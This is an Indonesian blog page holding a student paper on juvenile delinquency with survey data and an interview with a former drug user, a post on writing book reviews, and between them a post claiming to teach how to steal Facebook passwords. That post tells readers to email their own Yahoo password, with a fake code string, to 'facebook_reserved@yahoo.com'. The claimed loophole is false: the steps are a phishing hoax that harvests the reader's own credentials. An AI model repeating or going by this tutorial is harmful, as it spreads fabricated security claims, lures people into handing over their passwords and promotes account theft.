Selasa, 08 Mei 2012

LKTI di Surabaya


NIch ada Foto Dosen Cakep dari STIKES Surabaya hehehehe


Ini Foto Salah Satu Siswi Wakil dari kelas X A



Upsssss.......nich waktu Memaparkan KTI mereka

NIch Foto Waktu Pengumuman 10 Besar




Nich Foto Waktu Melengkapi administrasi



Untuk Masalah Filenya Ini saya Uploadtin juga...Baik kan heheheheeh






KATA PENGANTAR 
         Puji Syukur kehadirat Tuhan Yang Maha Esa yang telah melimpahkan rahmat, karunia dan hidayah-nya sehingga penulis bisa menyelesaikan karya tulis ilmiah yang berjudul “ Solusi Mengatasi Kenakalan Remaja “ dengan baik.
            Kami menyadari, tanpa kerja sama antara guru pembimbing dan penulis serta beberapa rekan dan orangtua yang memberi berbagai masukan yang bermanfaat bagi penulis demi tersusunnya karya tulis ilmiah ini. Untuk itu penulis mengucapkan terima kasih kepada pihak tersebut. Yang telah bersedia meluangkan waktunya untuk memberikan arahan dan saran demi kelancaran penyusunan karya ilmiah ini.
            Demikian semoga karya tulis ini dapat bermanfaat bagi penulis dan para pembaca pada umumnya. Karya tulis ilmiah ini jauh dari kata sempurna, Oleh karenanya saran dan kritik dari berbagai pihak yang bersifat membangun





                                                                                          &nbrp;            Lumajang, 20 April 2012


                                                                                                                     Penulis
BAB I
PENDAHULUAN
1.1  Latar Belakang
            Seiring dengan perkembangan zaman dan globalisasi semakin banyak budaya dan perilaku menyimpang yang masuk di Negara kita. Bahkan tidak sedikit pula perilaku “ dan budaya “ menyimpang tersebut yang dicontoh masyarakat dalam negeri, terutama kaum remaja. Tidak heran jika kini kenakalan remaja berkembang pesat di lingkungan kita. Oleh karena itu, kita harus pandai – pandai menyaring kebudayaan dan perilaku dari luar negeri. Terutama Negara – Negara Barat. Salah satu system ( Strategi ) Terbaru yang mampu mengatasi dan mengurangi kenakalan remaja tersebut Yaitu dengan cara “ Solusi Mengatasi Kenakalan Remaja dengan Cepat, Tepat, dan Islami
1.2   Tujuan Penulisan
            Adapun tujuan penulisan ini adalah sebagai berikut :
1.      Tujuan umum dimaksudkan untuk memberikan gambaran kenakalan remaja yang tidak sesuai dengan norma dan kaidah yang ada
2.      Tujuan khusus dimaksudkan untuk memberikan solusi tepat untuk mengatasi penyimpangan dan pelanggaran norma – norma yang terjadi di Kalangan remaja saat ini
1.3   Manfaat Penulisan
            Di zaman modern ini kenakalan remaja semakin berkembang pesat. Hal ini dikarenakan sebagai salah satu dampak golbalisasi. Maka dari itu solusi mengatasi kenakalan Remaja dengan cara Tepat dan islami mempunyai beberapa manfaat :
1.      Sebagai alat pengendalian social dalam mengatasi kenakalan remaja
2.      Mengidentifikasi terjadinya kenakalan remaja
3.      Memberikan atau menambah pengetahuan wawasan tentang kenakalan remaja secara islami
4.      Dapat merubah pola pikir remaja yang terbebas dari perilaku yang menyimpang
5.      Memberikan penjelasan bagaimana cara mengontrol kenakalan remaja dengan cara islami
1. 4   Metode Penulisan
            Dalam penulisan karya tulis ini untuk memperoleh data – data yang dibutuhkan, penulis menggunakan beberapa metode penulisan. Yaitu, sebagai berikut :
1.      Studi Kepustakaan : Yaitu penulis membaca buku – buku dan kumpulan mata pelajaran yang berkaitan dengan penelitian ini
2.      Studi kasus : Yaitu observasi dan wawancara kepada narasumber secara langsung ( Daftar Pertanyaan dan Jawaban Terlampir )

           






BAB II
LANDASAN TEORI
2.1   Definisi Kenakalan Remaja
            Kenakalan remaja biasa disebut dengan istilah “ Juvenile delinquency “ yang berasal dari bahasa latin “ Juvenilis” yang artinya anak – anak. muda. Sedangkan “Delinquency” berasal dari bahasa latin deliquere yang berarti terabaikan, mengabaikan, yang kemudian menjadi perbuatan yang menyimpang / kejahatan. Kenakalan remaja meliputi semua perilaku yang menyimpang dari norma – norma hukum pidana yang dilakukan oleh remaja. Perilaku tersebut akan merugikan diri sendiri dan orang –orang disekitarnya. Para ahli pendidikan sependapat bahwa yang dikatakan usia remaja adalah 13 – 18 tahun.
2.2   Faktor Penyebab Kenakalan Remaja
2.2.1  Kesalahan memahami informasi
            Disini saya contohkan Misalnya : penayangan informasi – informasi kriminalitas dan sinetron – sinetron yang menceritakan tentang kenakalan remaja dan pergaulan bebas oleh media massa yang mana memperoleh apresiasi yang tinggi dari masyarakat secara tidak langsung mengakibatkan kaum remaja meniru apa yang ditayangkan semakin besar
2.2.2  Ikatan Sosial Kenakalan Remaja
            Dapat didefinisikan semisal ada seorang anak dari keluarga baik  baik tetapi dia bergaul dengan sekelompok anak yang nakal, apabila teman atau sekelompoknya mengkonsumsi obat – obat terlarang, maka kemungkinan besar dia akan ikut mengkonsumsi obat – obat terlarang Maka kemungkinan besar dia akan ikut mengkonsumsi obat – obat terlarang tersebut

2.3    Jenis – jenis Kenakalan Remaja   
2.3.1  Berdasarkan jumlah individu yang terlibat
1.   Kenakalan Remaja Individu
Misalnya :  Memalak uang saku teman yang dilakukan sendirian
2.   Kenakalan remaja kolektif atau kelompok
Misalnya :  Geng motor yang meresahkan masyarakat
2.3.2   Berdasarkan kadar kenakalan remaja
1.      Kenakalan remaja ringan
Misalnya :  Seorang anak mencuri buah milik tetangga
2.      Kenakalan remaja berat
Misalnya :  Mengkonsumsi narkoba, sex bebas di kawula muda, tawuran antar remaja yang menyebabkan korban pembunuhan
2.4    Bentuk Kenakalan Remaja
1.      Penyalahgunaan narkoba
2.      Perkelahian remaja ( Tawuran )
3.      Alkoholic
4.      Pergaulan bebas ( Sex bebas )
5.      Pemerkosaan
6.      Kriminal atau tindak kejahatan
2.5     Akibat Kenakalan Remaja
1.      Meningkatkan / semakin tinggi angka kematian di kelompok remaja
2.      Penyalahgunaan narkoba yang mengakibatkan penganiayaan, bahkan pembunuhan
3.      Sex bebas yang mengakibatkan pencemaran dan pencampuran keturunan serta penularan penyakit HIV Aids
4.      Perkelahian antar pelajar yang dapat mengakibatkan penganiayaan dan pembunuhan
5.      Suramnya masa depan di kelompok remaja
2.6     Solusi Mengatasi Kenakalan Remaja
1.      Dukungan keluarga dan orang terdekat remaja slalu berperilaku positif dan selalu mendekatkan diri kepada Tuhan Yang Maha Esa
2.      Memperkuat rasa iman dan taqwa kepada Tuhan Yang Maha Esa
3.      Percaya adanya harapan untuk menjadi lebih baik dan tidak takut untuk menjalaninya
4.      Menjadi orang tua sekaligus sahabat, agar seorang anak merasa dirinya selalu diperhatikan
5.      Mengembangkan tradisi keagamaan dan nilai nilai religious hingga menjadi budaya
6.      Menggunakan waktu luang untuk melakukan hal – hal yang positif
7.      Mengarahkan tanpa menggurui
8.      Pendidikan kenakalan remaja
9.      Membina Akhlak Remaja, yang sesuai dengan Akhlak Rasullah S.A.W

2.7     Tahap – tahap perkembangan pikiran manusia
                        Tahap –tahap perkembangan pikiran manusia menurut Topo Santoso dan Eva Achjani ( 2003 ) adalah sebagai berikut :
1.      Tahap pra – konvensional ( umur 9 – 11 tahun )
Pada tahap ini anak pada umunya sudah mulai berfikir “ lakukan” atau “tidak lakukan “
2.      Tahap Konvensional ( Umur 12 – 20 Tahun )
Pada tahap ini remaja umumya mulai mencari jati diri, mereka sudah mulai mengadopsi nilai – nilai dan aturan –aturan yang ada disekelilingnya
3.      Tahap Postconventional ( Umur > 20 tahun )
Pada tahap ini manusia umumnya sudah kritis menguji kebiasaan – kebiasaan atau norma – norma yang dianggap tidak sesuai tingkat kematangan emosi sudah stabil, atau dianggap sudah mampu mengolah / mengatur pikiran,perkataan dan perbuatannya
2.8     Dampak Hukum Kenakalan Remaja
1.      Penyalahgunaan Narkoba
Pasal 127 ayat ( 1 ) Undang – undang Nomor 35 Tahun 2009 tentang Narkotika menyebutkan bahwa :
a.       Narkotika Golongan I bagi dirinya sendiri, dipidanakan dengan pidana penjara paling lama 4 ( Empat )tahun
b.      Narkotika Golongan II bagi dirinya sendiri, dipidanakan penjara paling lama 2 ( dua ) tahun
c.       Narkotika Golongan III bagi dirinya sendiri, dipidanakan dengan pidana penjara paling lama 1 ( satu ) tahun
2.      Sex Bebas
Secara Khusus mengenai seks bebas tidak diatur dalam KUHP tetapi tindakan tersebut dapat menjerumuskan kita pada tindak pidan tertentu, seperti :
a.       Melanggar kesusilaan di depan umum
Pasal 281 KUHP menyatakan bahwa dipidana dengan pidana penjara selama – lamanya dua tahun delapan bulan atau denda sebanyak – banyaknya empat ribu lima ratus rupiah :
Ke - 1 barang siapa dengan sengaja merusak kesusilaan di depan umum
Ke - 2 Barangsiapa dengan sengaja merusak kesusilaan di muka orang lain yang hadir tidak dengan kemauannya sendiri
b.      Tindak pidana Pemerkosaan
Pasal 285 KUHP menyatakan bahw a “ Barangsiapa yang dengan kekerasan atau dengan ancaman memaksa perempuan yang bukan istrinya bersetubuh dengan dia karena perkosaan, dipidana dengan pidana penjara selama – lamanya dua belas tahun.
c.       Berzina
Pasal 284 ayat ( I ) KUHP menyatakan bahwa dipidanakan penjara selama – selamanya Sembilan bulan.
d.      Dalam Islam perbuatan zina itu hukumnya haram dan merupakan salah satu bentuk dosa besar seperti Firman Allah S.W.T
1.      “ Dan janganlah kamu mendekati zina, sesungguhnya zina itu adalah suatu perbuatan yang keji dan suatu jalan yang buruk ( Q.S Al – Isra : 32 )
2.      “ Dan orang –orang yang tidak menyembah Tuhan yang Lain beserta Allah dan tidak membunuh jiwa yang diharamkan Allah ( membunuh ) kecuali dengan ( alasan ) yang benar, dan tidak berzina, barang siapa yang melakukan yang demikian itu, niscaya dia mendapat ( pembalasan ) dosa ( nya ). ( Yakni ) akan dilipatgandakan adzab untuknya pada hari kiamat dan dia akan kekal dalam adzab iu dalam keadaan terhina ( Q.S Al – Furqon 68 – 69 )
Dalam hadist yang diriwayatkan oleh Bukhari Muslim dari Abdullah bin Mas’ud RA berkata :
“ Saya ( Abdullah ibnu Mas’ud ) bertanya : “ Ya Rasullah, dosa apakah yang paling besar ? Nabi Muhammad S.A.W menjawab : “ Engkau menyediakan sekutu bagi Allah, padahal dia yang menciptakan kamu. “ Saya bertanya lagi : “Kemudian dosa apa lagi ? Nabi menjawab : “ Engkau membunuh anakmu karena jatuh miskin.” Saya Bertanya lagi .” Kemudian apa ? Beliau menjawab : “ Engkau berzina dengan istri tetanggamu”
e.       Menggugurkan kandungan ( Aborsi )
Pasal 346 KUHP menyatakan bahwa “ wanita yang dengan sengaja menyebabkan gugur atau mati kandungannya, atau menyuruh orang lain menyebabkan itu, dipidana dengan pidana penjara selama – lamanya empat tahun”
Pasal 342 KUHP menyatakan
1.      Barangsiapa dengan sengaja menyebabkan gugur atau matinya kandungan seorang wanita dengan izin wanita itu, dipidana dengan pidana penjara selama – lamanya lima tahun
2.      Jika perbuatan itu berakibat wanita itu mati, ia dipidana dengan pidana penjara selama – lamanya tujuh tahun
3.      Tawuran
Pasal 358 KUHP menyatakan bahwa barangsiapa dengan sengaja turut serta dalam penyerangan atau perkelahian yang dilakukan oleh beberapa orang, maka selain dari tanggungannya masing – masing atas perbuatan yang istimewa dilakukan pidana.
Ke - 1, dengan pidana penjara selama – lamanya dua tahun delapan bulan, jika penyerangan atau perkelahian itu berakibat ada orang luka berat.
Ke – 2, Dengan pidana penjara selama –lamanya empat tahun, jika penyerangan itu berakibat ada orang meninggal








BAB III
PROSES PENELITIAN
            Penelitian ini dilakukan dengan cara menyebarkan angket kepada para remaja, Responden yang terpilih adalah responden yang memenuhi syarat, antara lain, Pelajar 16 – 19 tahun pemilihan responden dilakukan di sebuah sekolah, tetapi penyebarannya tetap merata, meliputi kelas X sampai Kelas XI. Selain itu penelitian juga dilakukan dengan cara wawancara langsung dengan mantan pecandu narkoba.
3.1    Lokasi Penelitin
                 Pengambilan lokasi responden dilakukan di sebuah sekolah yaitu “ MA Darul Falah” dan di rumah mantan pecandu narkoba di Desa Karben
3.2    Cara Pengambilan Data
            Pengambilan data dilakukan melalui beberapa cara yaitu : Angket, wawancara, dan observasi
3.3    Cara Menganilis Data
            Analisis data dilakukan dengan cara mengelompokkan responden ke dalam tiga pilihan solusi, yaitu solusi I dengan cara selalu mendekatkan diri kepada Tuhan Yang Maha Esa, solusi II dengan cara mencari teman yang berbudi luhur dan berakhlak baik dan menjauhi teman yang berperilaku tidak baik, solusi III adalah dengan cara kedua – duanya. Pengelompokkan tersebut diperoleh dari hasil pertanyaan- pertanyaan angket
            Dari hasil yang didapatkan kemudian diadakan pengelompokkan untuk setiap jawaban dan tanggapan. Kegiatan ini berguna untuk menentukan kelompok terbanyak. Untuk mengambil kesimpulan tentang solusi kenakalan remaja yang telah merajalela, dapat dilihat dari hasil analisis data.
BAB IV
HASIL PENELITIAN
4.1    Hasil Observasi
            Responden 50 remaja yang mengalami masalah dengan kenakalan remaja, observasi atau pengamatan yang dilakukan di Desa Karangbendo Kecamatan Tekung Kabupaten Lumajang
Tujuan Pengamatan adalah untuk :
            ( 4.4.1 ) adalah untuk menghitung persentase kenakalan remaja yang ada
            ( 4.4.2 ) adalah untuk mengetahui bentuk – bentuk kenakalan remaja yang terjadi
Adapun hasil pengamatan tersebut adalah sebagai berikut :
NO
Bentuk Kenakalan
Tempat
Jumlah Remaja
Jumlah Remaja yang Mengalami
Persentase
1
Penyalahgunaan Narkoba
Desa Karangbendo
50
10
20 %
2
Pergaulan Bebas
0
0 %
3
Alkoholic
25
50 %
4
Kriminal
10
20 %
5
Kenakalan Lainnya
5
10 %
        
         ( 4.1.3 ) Mengetahui hasil akhir, yaitu bentuk kenakalan remaja manakah yang paling                                                        banyak terjadi di saat ini, dan bentuk kenakalan remaja manakah yang paling sedikit terjadi
            Dari data diatas hasil observasi dapat disimpulkan bahwa dari semua bentuk kenakalan remaja hanya pergaulan bebas ( Seks Bebas )saja yang tidak terjadi pada remaja di Desa Karangbendo
4.2    Hasil Angket
            Angket yang pertanyaanya bersifat umum dan terbuka. Angket tujuannya untuk mengetahui secara umum gambaran tentang solusi yang harus dilakukan
4.3     Hasil Wawancara
            Berdasarkan hasil wawancara dengan mantan pecandu narkoba yang berinisial” E ” diperoleh data sebagai berikut. Bahwa “ E “ sudah menjadi pecandu narkoba sejak duduk di bangku SMA dan awal di menjadi pecandu narkoba karena factor pergaulan dank arena dia tertarik kepada narkoba sehingga menimbulkan rasa ingin mencoba, “ E “ sering mengkonsumsi narkoba pada saat dia berada di sekolah. Dan kebanyakan narkoba yang dikonsumsinya berkjenis “ Distro “ setelah menjadi pecandu sekitar 1 bulan dia memutuskan untuk berhenti dengan alasan karena apa yang dia lakukan tidak berguna. Dan satu – satunya cara agar dia tidak kembali menjadi pecandu narkoba dengan cara islami, Yaitu Shalat dan mendekatkan diri dengan Allah S.W.T
4.4     Analisis Data
            Pengelompokkan jawaban dibagi menjadi tiga, yaitu solusi I, Solusi II, dan solusi III. Kelompok manakah yang banyak didukung oleh Responden ? Berdasarkan data selanjutnya dapat dihitung sebagai berikut :
1.      Solusi I
Berdasarkan perhitungan hasil diperoleh hasil :
Opsi I atau solusi I memperoleh dukungan sebanyak 16 orang
2.      Solusi II
Berdasarkan perhitungan diperoleh hasil :
Opsi II atau Solusi II memperoleh dukungan sebanyak 39 orang
3.      Solusi III
Berdasarkan perhitungan Opsi III atau solusi III memperoleh dukungan sebanyak 21 orang
Dengan demikian, Solusi II mendapatkan dukungan terbanyak daripada solusi I dan III











BAB V
PEMBAHASAN
            Berdasarkan penelitian diperoleh hasil bahwa tingkat kenakalan sangat tinggi dan solusi yang tepat adalah dengan tidak bergaul atau berteman dengan remaja yang nakal atau berperilaku kurang baik, dan mencoba untuk menjauh dari mereka. Serta selalu mendekatkan diri kepada Tuhan Yang Maha Esa. Hal ini didasarkan pada :
1.      Hasil Observasi
Persentase bentuk kenakalan remaja adalah sebagai berikut :
a.       Penyalahgunaan narkoba                                  20 %
b.      Seks Bebas                                                          0 %
c.       Alkoholic                                                           50 %
d.      Kriminal / Tindak kejahatan                              20 %
e.       Kenakalan yang lain                                          10 %
2.      Hasil Angket
Berdasarkan hasil angket didapatkan hasil sebagai berikut
a.       Solusi I mempunyai dukungan lebih sedikit dari solusi II dan solusi III
b.      Solusi III mempunyai dukungan lebih banyak dari solusi I dan III
c.       Solusi III mempunyai dukungan lebih sedikit dari solusi II dan mempunyai dukungan lebih banyak dari solusi I

BAB VI
KESIMPULAN DAN SARAN
6. 1     Kesimpulan
            Berdasarkan penelitian yang dilakukan diperoleh hasil sebagai berikut :
1.      Secara umum, di Desa Karangbendo masih terdapat banyak sekali bentuk kenakalan remaja yang belum teratasi
2.      Berdasarkan hasil angket yang diberikan, cara atau solusi utama yang bisa digunakan agar tidak terjerumus ke dalam dunia kenakalan remaja adalah menjauh dari teman yang berperilaku tidak baik. Serta selalu berusaha untuk mendekatkan diri kepada Tuhan Yang Maha Esa
3.      Berdasarkan hasil wawancara yang dilakukan dengan mantan pecandu narkoba, dapat diperoleh data bahwa kenakalan remaja dapat dihentikan, Khususnya penyalahgunaan narkoba, dengan cara mendekatkan diri kepada Tuhan Yang Maha Esa
6.2       Saran - saran
            Berdasarkan dari hasil karya tulis ilmiah yang sudah kami buat. Kami mempunyai beberapa saran untuk para remaja. Beberapa saran yang dapat disampaikan, yaitu :
1.      Kenakalan Remaja bisa diatasi dengan solusi apapun yang terpenting tergantung dari niat diri sendiri
2.      Perbanyaklah ibadah agar kita sebagai remaja tidak tergelincir ke lembah keterpurukan
3.      Seorang remaja harus memahami tugas utamanya missal : belajar dan bekerja
4.      Jadilah generasi penerus yang bertanggung jawab dan berdaya guna dengan memiliki nilai tambah yang memenuhi syarat
5.      Jadilah remaja yang baik, agar udara yang kita hirup, air yang kita minum, serta kasih sayang kedua orang tua kita tidak sia – sia adanya.
















DAFTAR PUSTAKA
LKS. Sosiologi kelas X
Majalah SADAR no 08 / /Th IV / Agustus 2006
LKS Aqidah AKhlak kelas XI
LKS Fiqih kelas XI
www.geogle .com
Lampiran Hasil Wawancara
            Wawanara dilakukan dengn mantan pecandu narkoba, yang berinisial “ E “. Adapun lampirannya adalah sebagai berikut :
Pewawancara      :  Selamat siang
Narasumber         :  Ya, Selamat siang
Pewawancara      :  Maaf, mengganggu waktu saudara, kami datang kesini untuk melakukan                              wawancara dengan anda ?
Narasumber         :  Oh………….Iya silahkan
Pewawancara      :  Kami ingin menanyakan beberapa hal tentang kenakalan remaja, khususnya penyalahgunaan narkoba yang pernah anda lakukan. Sejak kapan anda menjadi pecandu narkotika
Narasumber         :  Sejak kelas X SMA
Pewawancara      :  Apa jenis narkoba yang anda konsumsi ?
Narasumber         :  Jenisnya distro
Pewawancara      :  Apa yang menyebabkan anda mengkonsumsi narkoba ?
Narasumber         :  Karena factor pergaulan dan ketertarikan saya kepada narkoba, sehingga menimbulkan rasa ingin mencoba pada diri saya
Pewawancara      :  Apa yang anda rasakan setelah anda mengkonsumsi narkoba ?
Narasumber         :  Awalnya saya merasa pusing, tetapi lama kelamaan rasanya itu menjadi enak. Setelah itu ada rasa pusing yang membuat saya tertidur selain itu, efek lain yang saya rasakan adalah berbicara ngelantur seperti orang gila
Pewawancara      :  Darimana anda mendapatkan Narkoba, dan berapa harganya ?
Narasumber         :  Saya biasanya mendapatkannya dari teman,  dan untuk harganya kurang lebih Rp 5.000
Pewawancara      :  Dimana anda biasanya mengkonsumsi narkoba
Narasumber         :  Yang paling sering disekolah ?
Pewawancara      :  Apakah orang mengetahui, kalau anda adalah pecandu narkotika
Narasumber         :  Orang tua saya tidak mengetahui, tetapi walaupun begitu, bagi saya mengkonsumsi narkoba itu enak, bisa menghilangkan semua masalah
Pewawancara      :  Sejak kapan anda memutuskan berhenti mengkonsumsinya ?
Narasumber         ;  Saya mengkonsumsi narkoba sejak kelas X SMA dan berhenti juga pada kelas X SMA. Saya pecandu hanya sebentar
Pewawancara      :  Apa yang anda lakukan agar anda tidak kembali menjadi pecandu narkoba, dan mengapa anda memilih solusi itu ?
Narasumber         :  Dengan sholat, karena saya ingin menambah pahala daripada maksiat, karena setelah saya pikir-pikir mengkonsumsi narkoba itu ternyata tidak ada gunanya bagi diri saya
Pewawancara      :  Terima kasih atas waktunya dan sudah mau berbagi perjalanan hidup anda kepada kami
Narasumber         :  Sama –sam. Dan saya berharap tingkat kenakalan remaja khususnya penyalgunaan obat – obat terlarang bisa diatasi dan segera ada formula solusi yang tepat













PERNYATAAN

            Saya yang bertanda tangan di bawah ini:
Nama   : Mauidloh Hasanah
               Faiqhotul Mahgfiroh
Menyatakan dengan sesungguhnya bahwa Karya Tulis Ilmiah  yang berjudul: “ Solusi Mengatasi Kenakalan Remaja dengan Cara Islami “ adalah benar-benar hasil karya sendiri, kecuali dalam pengutipan substansi disebutkan sumbernya, dan belum pernah diajukan pada institusi mana pun, serta bukan karya jiplakan. Saya bertanggung jawab atas keabsahan dan kebenaran isinya sesuai dengan sikap ilmiah yang harus dijunjung tinggi.
Demikian pernyataan ini saya buat dengan sebenarnya, tanpa adanya tekanan dan paksaan dari pihak mana pun serta bersedia mendapat sanksi akademik jika ternyata dikemudian hari pernyataan ini tidak benar.

                                                                                        Lumajang, 20 April  2012
                                                                                            Yang menyatakan,


                                                                     Mauidloh Hasanah
                                                                                            Faiqhotul Mahgfiroh                              

Kamis, 03 Mei 2012

Cara Hack Pasword Facebook


cara mencuri password facebook orang lain ( hack)
작성: SENI HACKER 2010년 2월 17일 수요일 오후

Tak banyak yang tau kalau ternyata facebook dan yahoo menjalin sebuah kerja sama yang unik, hal ini baru saya tau beberapa waktu yang lalu dari seorang kawan yg kebetulan juga baru mendapatkan informasi ini.

Dan dengan memanfaatkan celah dari kerja sama inilah kita dapat mengetahui password dari account facebook seseorang dengan sangat mudah.

Saya sendiri sudah mencoba beberapa cara dan selalu gagal, sudah men-download berbagai macam software dalam usaha ini tapi tetap saja tak berhasil mendapatkan password account yg di incar.

Tapi ternyata, setelah mengetahui celah ini, saya sampai merasa bodoh sendiri. Karena ternyata sangat mudah mendapatkan password facebook seseorang jika kita tau cara yg tepat.

Dan sama sekali tidak memerlukan software…!!

oke akan saya jelaskan caranya..

1. login ke yahoo.

ingat..!! account yahoo anda harus berumur minimal 30 hari agar cara ini bekerja dengan baik dan harus merupakan alamat
yg anda gunakan pada saat registrasi facebook. Yahoo akan dengan otomatis menolak email yg tidak terhubung ke Facebook.

2. Jika sudah masuk ke yahoo, tulislah sebuah email yang anda tujukan untuk staff facebook di Yahoo dengan alamat email:
facebook_reserved@yahoo.com

server Yahoo akan mengirimkan secara otomatis password “terlupakan” tersebut.

3. Pada baris SUBJECT masukkan/ketik kalimat : PASSWORD RETRIEVE

4. lalu pada baris pertama mail anda tuliskan alamat email korban yg akan anda hack

5. Pada baris kedua masukkan alamat email yg anda gunakan

6. Pada baris ketiga tuliskan password yahoo anda.

Ingat, password yang anda masukkan inilah yang akan menentukan berhasil tidaknya usaha anda karena sever yahoo akan secara otomatis melakukan login untuk meng-konfirmasi valid atau tidaknya email andan, dengan kata lain server yahoo akan meng-extract password dari email calon korban anda dengan menggunakan password anda.

Dan proses ini sangat aman karena anda mengirim email kepada mesin dan bukan kepada seseorang.

7. Dan di baris terakhir masukkan kata : cgi-bin/$et76431&pwrsa ini merupakan kode yang dibutuhkan untuk men-cocokkan email anda dengan email calon korban yg anda minta password nnya.

jadi jika misalkan email anda adalah cinta.laura@yahoo.com

dan email korban anda adalah krisdayanti@yahoo.com

dan password anda adalah : rahasia

maka email yg anda tulis nantinya adalah:

To: facebook_reserved@yahoo.com
bcc: cc: (biarkan kosong)
Subject: password retrieve

krisdayanti@yahoo.com

cinta.laura@yahoo.com

rahasia

cgi-bin/$et76431&pwrsa

selanjutnya setelah anda mengirim email tersebut anda akan mendapatkan balasan secara otomatis dari yahoo dengan dengan subject: System Reg
Message

biasanya yahoo memerlukan waktu sekitar 30 menit untuk mengkonfirmasikan dan meng-extract password yang anda minta.

selamat mencoba…
Top of Form
Bottom of Form

Senin, 09 April 2012

Cara Meresensi Karya Sastra dan Non Karya Sastra


Resensi adalah pertimbangan, pembicaraan atau ulasan sebuah buku.Resensi itu bukan sekadar menceritakan isi buku atau sinopsis.Resensi adalah penilaian Anda secara kritis setelah membaca isi buku, apakelebihannya atau kekurangannya.Jadi sekali lagi, resensi tidak sama dengan sinopsis dan resensi tidak mengandungspoiler (membocorkan isi cerita yang penting).SINOPSIS BUKU - Never Ending LoveNever Ending Love adalah kumpulan cerpen tentang iman kepada Tuhan, kasih terhadap Tuhan dan sesama, serta pengharapandalam menghadapi masa sukar. Dengan cerita yang nggak membosankan,penyampaian yang asyik, membuat setiap kisah dalam cerpen ini menarik untuk diikuti. Ada 6 judul tersaji dalam buku ini: Kakakku Tersayang; Kesempatan yangTerlewatkan; Hanya Sejarak Antara Lutut dan Lantai; Kunang-kunang Kecil; I’m Nota Playgirl, Thanks for Everything, God.
Resensi bisa juga Ringkasan atau lebih jelasnya sbb:
resensi adalah kajian khusus mengenai hasil karya seseorang melalui sebuah penilaian menurut para juri yg sesuai dengan pertimbangan dan penilaian dari pengunjung[visitor],pembaca,pengamat.dll
Resensi adalah tulisan mengenai nilai sebuah hsl kry. tujuannya utk menyampaikan kpd pembaca sbh buku ato hsl kry itu, apakah mndpt sambutan dr masyrakat ato tdk. objeknya bs buku, film, dsb. dlm resensi jg hrus terdpt isi ringkas kry tsb.Apa itu Resensi?Resensi berasal dari kata latin revidere dan recensere. Artinya melihat kembali, menimbang atau menilai. Dalam bahasa Belanda dikenal dengan recensie, sedangkan dalam bahasa Inggris dikenal dengan istilah review.Meresensi buku berarti mengulas sebuah buku dengan memberikan penilaian, mengungkap sebagian isi buku, membahas, dan mengkritik isi buku.Apa hanya buku saja yang dapat diresensi?Tentu saja tidak. Sebenarnya bidang garapan resensi cukup luas. Apabila diklasifikasikan ada tiga bidang garapan resensi. Pertama, yaitu buku, baik itu fiksi maupun nonfiksi. Kedua, pementasan seni, seperti film, sinetron, tari, drama, musik, dan kaset. Ketiga, yang berhubungan dengan pameran seni, baik seni lukis maupun seni patung.Tujuan resensi buku, menurut penulis buku ini adalah memberikan informasi tentang apa yang tampak dan terungkap dalam sebuah buku. Di samping itu, resensi buku juga mengajak pembaca untuk bisa memikirkan dan merenungkan lebih jauh fenomena  yang muncul dalam sebuah buku, sehingga pembaca dapat mempertimbangkan apakah sebuah buku pantas mendapat sambutan dari masyarakat atau tidak.Berbeda dengan tulisan-tulisan seperti: berita, opini, artikel, kolom, laporan mendalam, dan karangan khas atau feature. Dari sisi pesan, kadar informasi dari tulisan resensi lebih tahan lama. Maksudnya, jika resensi tidak layak muat atau dikembalikan oleh pihak redaksi media cetak, resensi masih dapat dikirim ke media cetak lain..Buku yang terdiri dari 5 bab ini menguraikan apa itu hakikat dari resensi dan bagaimana membuat resensi yang baik. Dari buku ini, anda pun akan dengan mudah dapat memahami kiat-kiat menulis resensi buku yang diinginkan oleh redaksi. Sebab, secara umum buku ini telah menjawab pertanyaan-pertanyaan yang menjadi kendala bagi seorang penulis pemula. Semua jawaban itu disuguhkan oleh Daniel Samad dengan cara dan gaya yang khas, ringan serta populer. Apalagi isi buku karya Daniel ini juga disisipi ilustrasi gambar kartun yang bersifat menghibur, sehingga pembaca menjadi bergairah dan tergerak untuk mengikuti lebih jauh apa yang menjadi tujuan buku ini secara rileks.Di dalam, ada juga contoh-contoh tulisan resensi yang pernah dimuat di media cetak lokal maupun nasional. Dengan demikian anda dapat mempelajari gaya tulisan yang kiranya memenuhi standar media cetak masing-masing.Selanjutnya?Kalau anda gemar tulis menulis atau mungkin ada keinginan untuk menjadi spesialis penulis resensi, mulailah dari sekarang! Sebab ada lagi satu keuntungan ganda yang tidak dimiliki oleh jenis tulisan lain. Yakni, dari segi finansial jika resensi kita dimuat, kita tidak menerima honor dari media cetak saja, akan tetapi juga dari penerbit buku. Ini kalau copy resensi itu dikirimkan ke penerbit. Minimal mendapat buku baru (jika penerbit tidak bersedia memberi honor). So, lumayan koleksi buku anda bertambah tanpa harus membeli.  Nah, sebagai panduan untuk berkarya, anda memang perlu baca buku ini. (muluk)
Singkatnya, Resensi adalah pertimbangan, pembicaraan atau ulasan sebuah buku (Kamus Besar Bahasa Indonesia)
Resensi berasal dari bahasa Belanda, recensie. Dalam bahasa Inggris dikenal dengan review. Kata tersebut sendiri berasal dari kata Latin ‘revidere’ dan ‘resence’, artinya melihat kembali, menimbang atau menilai. Di negeri kita, resensi sering diistilahkan dengan timbangan, tinjauan, atau bedah buku, dll. Sedangkan menurut Webster Collegate Dictionary (1995), review adalah “a critical evaluation of a book” Karena pada hakikatnya resensi haruslah menjelaskan apa adanya suatu buku; baik kelebihan ataupun kekurangannya. Jadi resensi bukanlah tulisan yang menjual buku. Tidak ada pesan sponsor bagi resensi buku; karena itu resensi yang baik hanya mengungkafkan apa yang dibaca oleh presensi secara kritis.Pepatah mengatakan bahwa dengan membaca berarti membuka jendela dunia. Dengan membaca, ilmu semakin bertambah, kalaupun tidak setidaknya wawasan semakin luas. Lebih ekstrem lagi orang mengatakan perbedaan antara seorang guru dengan murid adalah dengan membaca. Terlepas benar atau tidaknya, kita sering menyaksikan seseorang yg tidak mengecap bangku sekolah formal namun pengetahuannya melebihi seorang yg duduk dibangku pendidikan secara formal, ketika ditanya tentang ilmu dan wawasannya itu, dia berkata “Saya banyak membaca…!”
